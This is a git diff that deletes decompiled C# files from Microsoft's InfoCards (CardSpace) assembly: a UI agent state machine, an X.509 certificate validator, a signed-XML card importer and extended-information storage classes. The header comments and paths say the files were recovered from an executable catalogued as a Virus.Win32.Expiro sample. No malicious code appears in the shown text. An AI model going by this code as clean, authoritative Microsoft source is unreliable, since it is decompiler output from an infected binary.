ClientUIRequest.RequestResult.Pending) - { - bool flag = false; - lock (this.m_memberSync) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - if (this.SetMode(mode)) - { - flag = true; - break; - } - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - break; - } - } - } - if (flag) - this.WaitForModeChange(); - this.m_uiStatusRecieved.WaitOne(); - } - return this.m_currentStatus; - } - - public void SetUIStatus(ClientUIRequest.RequestResult status) - { - lock (this.m_memberSync) - { - this.m_currentStatus = status; - if (this.m_request != null && (ClientUIRequest.RequestResult.Cancel == this.m_currentStatus || ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus || ClientUIRequest.RequestResult.Error == this.m_currentStatus)) - this.m_request.UserCancel(ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus); - this.m_uiStatusRecieved.Set(); - } - } - - public void SetRequest(ClientUIRequest request) - { - InfoCardTrace.Assert(null != request, "Request should not be null"); - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.m_request = request; - if (this.SetMode(InfoCardUIAgent.CallMode.Initialize)) - flag = true; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - if (!flag) - return; - this.WaitForModeChange(); - } - - private bool SetMode(InfoCardUIAgent.CallMode mode) - { - bool flag = false; - lock (this.m_memberSync) - { - if (InfoCardUIAgent.CallMode.Shutdown != this.m_mode) - { - if (this.m_mode != mode) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.Sleep: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Release, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Initialize: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Sleep, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Initialize, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Shutdown: -label_10: - this.m_mode = mode; - flag = true; - break; - case InfoCardUIAgent.CallMode.Release: - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.Initialize: - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - goto label_10; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto label_10; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - } - } - } - } - return flag; - } - - public void ReleaseUI() - { - if (!this.IsActive && InfoCardUIAgent.CallMode.Initialize != this.m_mode || !this.SetMode(InfoCardUIAgent.CallMode.Release)) - return; - this.WaitForModeChange(); - } - - private void WaitForModeChange() - { - this.m_agentGetWorkStart.Set(); - if (!this.m_agentGetWorkComplete.WaitOne(this.AgentStateChangeTimeOut, false)) - { - Utility.KillHelper(this.m_process); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UIAgentCrash"))); - } - } - - private void GetWork(out InfoCardUIAgent.CallMode mode, out int requestHandle) - { - lock (this.m_memberSync) - { - mode = InfoCardUIAgent.CallMode.Shutdown; - requestHandle = 0; - try - { - mode = this.m_mode; - if (this.m_request != null) - requestHandle = this.m_request.RequestHandle; - if (mode != InfoCardUIAgent.CallMode.Sleep) - return; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, InfoCardUIAgent.s_idleTimeout, new TimeSpan(0, 0, 0, 0, -1)); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - ClientUIRequest request = this.Request; - if (request == null) - return; - request.ProcessingException = ex; - } - } - } - - public void ClearRequest(ClientUIRequest request) - { - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request == request) - { - if (this.SetMode(InfoCardUIAgent.CallMode.Sleep)) - flag = true; - this.m_request = (ClientUIRequest) null; - } - } - if (!flag) - return; - this.WaitForModeChange(); - if (ClientUIRequest.RequestResult.Error != this.m_currentStatus) - return; - this.Shutdown(); - } - - private void OnTimeout(object state) - { - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request != null || this.IsShuttingDown) - return; - this.Shutdown(); - } - } - - private void OnProcessExit(int exitCode) - { - lock (InfoCardUIAgent.s_syncRoot) - { - this.m_mode = InfoCardUIAgent.CallMode.Shutdown; - InfoCardUIAgent.s_pidCollection.Remove(this.ProcessId); - InfoCardUIAgent.s_sessionIdCollection.Remove((uint) this.TsSessionId); - if (this.m_request != null && (this.m_currentStatus == ClientUIRequest.RequestResult.Pending || ClientUIRequest.RequestResult.Ok == this.m_currentStatus)) - { - switch ((EventCode) exitCode) - { - case EventCode.E_ICARD_UNTRUSTED: - this.m_request.UserCancel(true); - this.m_currentStatus = ClientUIRequest.RequestResult.Untrusted; - break; - case EventCode.E_ICARD_USERCANCELLED: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.Cancel; - break; - case EventCode.E_ICARD_UI_INITIALIZATION: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UIFailedInitialization; - break; - default: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UICrashed; - break; - } - this.m_uiStatusRecieved.Set(); - } - this.m_agentGetWorkComplete.Set(); - if (InfoCardUIAgent.s_isShuttingDown && InfoCardUIAgent.s_pidCollection.Count == 0) - InfoCardUIAgent.s_doneShuttingDownEvent.Set(); - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - if (this.m_trustedUserToken == null) - return; - this.m_trustedUserToken.Dispose(); - this.m_trustedUserToken = (SafeNativeHandle) null; - } - } - - private void OnProcessExit(object sender, EventArgs e) - { - this.m_process.Exited -= this.m_processExitHandler; - Process process = sender as Process; - InfoCardTrace.Assert(null != process, "Should be of type process."); - InfoCardTrace.Assert(process.ExitCode == this.m_process.ExitCode, "Should be the same!"); - this.OnProcessExit(process.ExitCode); - } - - private static void ThrowIfShuttingDown() - { - if (InfoCardUIAgent.s_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new SystemShuttingDownException()); - } - - private void Shutdown() - { - if (!this.SetMode(InfoCardUIAgent.CallMode.Shutdown)) - return; - this.WaitForModeChange(); - } - - private void Kill() => Utility.KillHelper(this.m_process); - - public static void OnLogout(uint sessionId) - { - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - ((InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[sessionId])?.Shutdown(); - } - - public static void DoShutdown() - { - bool flag = false; - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.s_isShuttingDown = true; - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - { - flag = true; - infoCardUiAgent.Shutdown(); - } - } - if (!flag || InfoCardUIAgent.s_doneShuttingDownEvent.WaitOne(new TimeSpan(0, 0, 15), false)) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - infoCardUiAgent.Kill(); - } - } - - public static InfoCardUIAgent FindByPid(uint pid) - { - lock (InfoCardUIAgent.s_syncRoot) - return (InfoCardUIAgent) InfoCardUIAgent.s_pidCollection[pid]; - } - - private class UInt32IndexedHybridDictionary - { - private HybridDictionary m_realDictionary = new HybridDictionary(); - - public int Count => this.m_realDictionary.Count; - - public ICollection Values => this.m_realDictionary.Values; - - public object this[uint index] - { - get => this.m_realDictionary[(object) index]; - set => this.m_realDictionary[(object) index] = value; - } - - public void Remove(uint index) => this.m_realDictionary.Remove((object) index); - } - - public enum CallMode - { - Sleep, - Initialize, - GetToken, - Manage, - Import, - Shutdown, - Crash, - Error, - Release, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardX509Validator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardX509Validator.cs deleted file mode 100644 index 6dfba6b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardX509Validator.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardX509Validator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class InfoCardX509Validator : X509CertificateValidator - { - private static InfoCardOfflineChainTrustValidator s_identityMachineChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static InfoCardOfflineChainTrustValidator s_identityUserChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static X509CertificateValidator s_identityPeerTrustValidator; - private static X509Certificate2Collection m_supportingCertificates; - - static InfoCardX509Validator() - { - InfoCardX509Validator.s_identityMachineChainTrustValidator = new InfoCardOfflineChainTrustValidator(true); - InfoCardX509Validator.s_identityUserChainTrustValidator = new InfoCardOfflineChainTrustValidator(false); - InfoCardX509Validator.s_identityPeerTrustValidator = X509CertificateValidator.PeerTrust; - } - - private InfoCardX509Validator(X509Certificate2Collection supportingCerts) => InfoCardX509Validator.m_supportingCertificates = supportingCerts; - - public static X509CertificateValidator Create( - X509Certificate2Collection supportingCerts) - { - return (X509CertificateValidator) new InfoCardX509Validator(supportingCerts); - } - - public static void ValidateChainOrPeer( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - InfoCardX509Validator.Validate(certificate, supportingRecipientCerts, out chainTrustPassed); - } - - public override void Validate(X509Certificate2 certificate) => InfoCardX509Validator.Validate(certificate, InfoCardX509Validator.m_supportingCertificates, out bool _); - - public static bool ValidateChainOrPeerCallback( - object sender, - X509Certificate certificate, - X509Chain chain, - SslPolicyErrors sslPolicyErrors) - { - bool chainTrustPassed = false; - if ((sslPolicyErrors & SslPolicyErrors.RemoteCertificateNameMismatch) != SslPolicyErrors.None || (sslPolicyErrors & SslPolicyErrors.RemoteCertificateNotAvailable) != SslPolicyErrors.None) - return false; - InfoCardTrace.Assert(certificate != null && null != chain, "We should have returned false for SslPolicyErrors.RemoteCertificateNotAvailable"); - try - { - InfoCardX509Validator.ValidateChainOrPeer(new X509Certificate2(certificate), chain.ChainPolicy.ExtraStore, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - return false; - } - return true; - } - - private static void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - chainTrustPassed = false; - string str = string.Empty; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingRecipientCerts, out X509Chain _); - chainTrustPassed = true; - } - catch (SecurityTokenValidationException ex) - { - str = ex.Message; - } - if (chainTrustPassed) - return; - try - { - InfoCardX509Validator.ValidatePeer(certificate); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainFailAndPeerTrustFail", (object) str, (object) ex.Message))); - } - } - - public static void ValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - try - { - InfoCardX509Validator.s_identityMachineChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardX509Validator.s_identityUserChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - } - - public static bool TryValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts) - { - bool flag = true; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCerts, out X509Chain _); - } - catch (SecurityTokenValidationException ex) - { - flag = false; - } - return flag; - } - - public static void ValidatePeer(X509Certificate2 certificate) => InfoCardX509Validator.s_identityPeerTrustValidator.Validate(certificate); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardXmlSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardXmlSerializer.cs deleted file mode 100644 index 2b1cdd27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardXmlSerializer.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardXmlSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardXmlSerializer - { - private InfoCard m_card; - private X509Certificate2 m_issuer; - private X509Certificate2Collection m_additionalIssuerCerts; - private bool m_isIssuerChainTrusted; - private bool m_checkSignature; - private bool m_isDeserialized; - private StoreConnection m_connection; - - public InfoCardXmlSerializer(StoreConnection connection) => this.m_connection = connection; - - public InfoCard Card => this.m_isDeserialized ? this.m_card : (InfoCard) null; - - public X509Certificate2 Issuer => this.m_isDeserialized ? this.m_issuer : (X509Certificate2) null; - - public X509Certificate2Collection AdditionalIssuerCerts => this.m_additionalIssuerCerts; - - public bool IsIssuerChainTrusted - { - get - { - InfoCardTrace.Assert(this.m_isDeserialized, "Card should be deserialized before checking this value"); - return this.m_isIssuerChainTrusted; - } - } - - public bool CheckSignature - { - set => this.m_checkSignature = value; - } - - public void Deserialize(string filename) - { - try - { - this.m_card = new InfoCard(); - this.m_card.HashSalt = InfoCard.GenerateSalt(); - this.CreateCardFromXml(filename); - this.m_card.IssuerIdentifierAsBytes = Convert.FromBase64String(Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.m_issuer, this.m_additionalIssuerCerts, this.m_isIssuerChainTrusted)); - this.m_isDeserialized = true; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - - private void CreateCardFromXml(string filename) - { - try - { - using (FileStream fileStream = File.OpenRead(filename)) - { - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) fileStream, new XmlReaderSettings() - { - IgnoreWhitespace = false, - IgnoreProcessingInstructions = false, - IgnoreComments = true - })) - { - this.RetrieveIssuerAndCheckSign(reader1); - fileStream.Seek(0L, SeekOrigin.Begin); - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader2 = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - while (reader2.Read()) - { - if (reader2.LocalName == "InformationCard") - { - this.m_card.ReadXml(reader2); - break; - } - } - reader2.Read(); - if ("Signature" != reader2.LocalName || XmlNodeType.EndElement != reader2.NodeType) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (FileNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportFileNotFound"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - - private void RetrieveIssuerAndCheckSign(XmlReader reader) - { - XmlDocument document = new XmlDocument(); - document.PreserveWhitespace = true; - document.Load(reader); - XmlNames.CreateNamespaceManager(document.NameTable); - if ("Signature" != document.DocumentElement.LocalName && "http://www.w3.org/2000/09/xmldsig#" == document.DocumentElement.NamespaceURI) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - SignedXml signedXml = new SignedXml(document); - signedXml.LoadXml(document.DocumentElement); - if (signedXml.Signature == null || signedXml.Signature.ObjectList == null || signedXml.Signature.SignedInfo == null || signedXml.Signature.SignedInfo.References == null || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.Signature.ObjectList.Count != 1 || signedXml.Signature.SignedInfo.References.Count != 1 || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain.Count != 1) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - string algorithm = ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain[0].Algorithm; - if (signedXml.Signature.SignedInfo.SignatureMethod != "http://www.w3.org/2000/09/xmldsig#rsa-sha1" || "http://www.w3.org/2001/10/xml-exc-c14n#" != algorithm && "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" != algorithm || "http://www.w3.org/2001/10/xml-exc-c14n#" != signedXml.Signature.SignedInfo.CanonicalizationMethodObject.Algorithm || "http://www.w3.org/2000/09/xmldsig#sha1" != ((Reference) signedXml.Signature.SignedInfo.References[0]).DigestMethod) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.KeyInfo == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - XmlNodeList childNodes = signedXml.KeyInfo.GetXml().ChildNodes; - KeyInfoX509Data keyInfoX509Data = new KeyInfoX509Data(); - foreach (XmlNode element in childNodes) - { - if ("http://www.w3.org/2000/09/xmldsig#" == element.NamespaceURI && "X509Data" == element.Name) - { - keyInfoX509Data.LoadXml((XmlElement) element); - break; - } - } - ArrayList certificates = keyInfoX509Data.Certificates; - this.m_issuer = certificates != null && certificates.Count > 0 ? (X509Certificate2) certificates[0] : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("NoCertificateFoundInSignature"))); - this.m_additionalIssuerCerts = new X509Certificate2Collection(); - for (int index = 1; index < certificates.Count; ++index) - this.m_additionalIssuerCerts.Add((X509Certificate2) certificates[index]); - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.m_issuer, this.m_additionalIssuerCerts, out this.m_isIssuerChainTrusted); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(ex.Message)); - } - if (this.m_checkSignature && !signedXml.CheckSignature(this.m_issuer, true)) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs deleted file mode 100644 index 1cd1ab4d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationCollection : List - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - public InfocardExtendedInformationCollection(Uri infoCardId) => this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - for (int index = 0; index < this.Count; ++index) - this[index].Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = new BinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.Deserialize(reader); - this.Add(informationEntry); - } - } - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 4; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public string GetIssuerInformationElement() - { - for (int index = 0; index < this.Count; ++index) - { - XmlReader reader = InfoCardSchemas.CreateReader(this[index].GetXml()); - reader.Read(); - if (reader.IsStartElement("IssuerInformation", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - { - reader.Close(); - return this[index].GetXml(); - } - reader.Close(); - } - return string.Empty; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 4 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs deleted file mode 100644 index b90ffcfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationEntry : IXmlSerializable - { - private string m_xmlElement; - - public void Serialize(BinaryWriter writer) => Utility.SerializeString(writer, this.m_xmlElement); - - public void Deserialize(BinaryReader reader) => this.m_xmlElement = Utility.DeserializeString(reader); - - public string GetXml() => this.m_xmlElement; - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - XmlReader reader = InfoCardSchemas.CreateReader(this.m_xmlElement); - writer.WriteNode(reader, false); - } - - public void ReadXml(XmlReader reader) - { - XmlReader xmlReader = reader.IsStartElement() ? reader.ReadSubtree() : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - xmlReader.Read(); - this.m_xmlElement = xmlReader.ReadOuterXml(); - xmlReader.Close(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IntermediatePolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IntermediatePolicyValidator.cs deleted file mode 100644 index 01ec1038..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IntermediatePolicyValidator.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IntermediatePolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class IntermediatePolicyValidator : PolicyValidator - { - public IntermediatePolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() => this.ValidateAppliesTo(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidCardException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidCardException.cs deleted file mode 100644 index 44b1d46a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidCardException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidCardException -// Assembly: infocard, 